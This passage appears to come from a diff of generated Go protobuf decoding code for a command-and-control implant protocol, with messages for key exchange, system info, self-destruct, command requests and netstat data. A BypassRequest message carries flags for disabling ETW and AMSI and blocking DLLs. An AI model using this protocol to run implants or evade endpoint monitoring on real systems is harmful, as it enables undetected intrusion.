io.ErrUnexpectedEOF + } + m.PublicKey = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Signature", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Signature = append(m.Signature[:0], dAtA[iNdEx:postIndex]...) + if m.Signature == nil { + m.Signature = []byte{} + } + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Nonce", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Nonce = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *KeyExchangeResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: KeyExchangeResponse: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: KeyExchangeResponse: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field PublicKey", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.PublicKey = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Init) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Init: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Init: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Data", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Data = append(m.Data[:0], dAtA[iNdEx:postIndex]...) + if m.Data == nil { + m.Data = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SysInfo) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SysInfo: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SysInfo: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Filepath", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Filepath = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Workdir", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Workdir = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field IsPrivilege", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.IsPrivilege = bool(v != 0) + case 11: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Os", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Os == nil { + m.Os = &Os{} + } + if err := m.Os.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + case 12: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Process", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Process == nil { + m.Process = &Process{} + } + if err := m.Process.UnmarshalVT(dAtA[iNdEx:postIndex]); err != nil { + return err + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Suicide) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Suicide: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Suicide: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Type", wireType) + } + m.Type = 0 + m.Type, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Timestamp", wireType) + } + m.Timestamp = 0 + m.Timestamp, iNdEx, err = protobuf_go_lite.DecodeVarintInt64(dAtA, iNdEx) + if err != nil { + return err + } + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Request) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Request: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Request: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Input", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Input = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Args", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Args = append(m.Args, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Params", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Params == nil { + m.Params = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Params[mapkey] = mapvalue + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Bin", wireType) + } + var byteLen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + byteLen = int(_v) + if err != nil { + return err + } + if byteLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + byteLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Bin = append(m.Bin[:0], dAtA[iNdEx:postIndex]...) + if m.Bin == nil { + m.Bin = []byte{} + } + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *Response) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: Response: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: Response: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Output", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Output = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Error", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Error = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Kv", wireType) + } + var msglen int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + msglen = int(_v) + if err != nil { + return err + } + if msglen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + msglen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + if m.Kv == nil { + m.Kv = make(map[string]string) + } + var mapkey string + var mapvalue string + for iNdEx < postIndex { + entryPreIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + if fieldNum == 1 { + var stringLenmapkey uint64 + stringLenmapkey, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapkey := int(stringLenmapkey) + if intStringLenmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapkey := iNdEx + intStringLenmapkey + if postStringIndexmapkey < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapkey > l { + return io.ErrUnexpectedEOF + } + mapkey = string(dAtA[iNdEx:postStringIndexmapkey]) + iNdEx = postStringIndexmapkey + } else if fieldNum == 2 { + var stringLenmapvalue uint64 + stringLenmapvalue, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLenmapvalue := int(stringLenmapvalue) + if intStringLenmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postStringIndexmapvalue := iNdEx + intStringLenmapvalue + if postStringIndexmapvalue < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postStringIndexmapvalue > l { + return io.ErrUnexpectedEOF + } + mapvalue = string(dAtA[iNdEx:postStringIndexmapvalue]) + iNdEx = postStringIndexmapvalue + } else { + iNdEx = entryPreIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > postIndex { + return io.ErrUnexpectedEOF + } + iNdEx += skippy + } + } + m.Kv[mapkey] = mapvalue + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Array", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Array = append(m.Array, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *BypassRequest) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: BypassRequest: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: BypassRequest: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field ETW", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.ETW = bool(v != 0) + case 2: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field AMSI", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.AMSI = bool(v != 0) + case 3: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field BlockDll", wireType) + } + var v int + var _v uint64 + _v, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + v = int(_v) + if err != nil { + return err + } + m.BlockDll = bool(v != 0) + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetInterface) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: NetInterface: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: NetInterface: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 0 { + return fmt.Errorf("proto: wrong wireType = %d for field Index", wireType) + } + m.Index = 0 + m.Index, iNdEx, err = protobuf_go_lite.DecodeVarintInt32(dAtA, iNdEx) + if err != nil { + return err + } + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Name", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Name = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Mac", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Mac = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 4: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field IpAddresses", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.IpAddresses = append(m.IpAddresses, string(dAtA[iNdEx:postIndex])) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *SockTabEntry) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < l { + preIndex := iNdEx + var wire uint64 + wire, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + fieldNum := int32(wire >> 3) + wireType := int(wire & 0x7) + if wireType == 4 { + return fmt.Errorf("proto: SockTabEntry: wiretype end group for non-group") + } + if fieldNum <= 0 { + return fmt.Errorf("proto: SockTabEntry: illegal tag %d (wire type %d)", fieldNum, wire) + } + switch fieldNum { + case 1: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field LocalAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.LocalAddr = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 2: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field RemoteAddr", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.RemoteAddr = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 3: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field SkState", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.SkState = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 5: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Pid", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Pid = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + case 6: + if wireType != 2 { + return fmt.Errorf("proto: wrong wireType = %d for field Protocol", wireType) + } + var stringLen uint64 + stringLen, iNdEx, err = protobuf_go_lite.DecodeVarint(dAtA, iNdEx) + if err != nil { + return err + } + intStringLen := int(stringLen) + if intStringLen < 0 { + return protobuf_go_lite.ErrInvalidLength + } + postIndex := iNdEx + intStringLen + if postIndex < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if postIndex > l { + return io.ErrUnexpectedEOF + } + m.Protocol = string(dAtA[iNdEx:postIndex]) + iNdEx = postIndex + default: + iNdEx = preIndex + skippy, err := protobuf_go_lite.Skip(dAtA[iNdEx:]) + if err != nil { + return err + } + if (skippy < 0) || (iNdEx+skippy) < 0 { + return protobuf_go_lite.ErrInvalidLength + } + if (iNdEx + skippy) > l { + return io.ErrUnexpectedEOF + } + m.unknownFields = append(m.unknownFields, dAtA[iNdEx:iNdEx+skippy]...) + iNdEx += skippy + } + } + + if iNdEx > l { + return io.ErrUnexpectedEOF + } + return nil +} +func (m *NetstatResponse) UnmarshalVT(dAtA []byte) error { + l := len(dAtA) + iNdEx := 0 + var err error + for iNdEx < 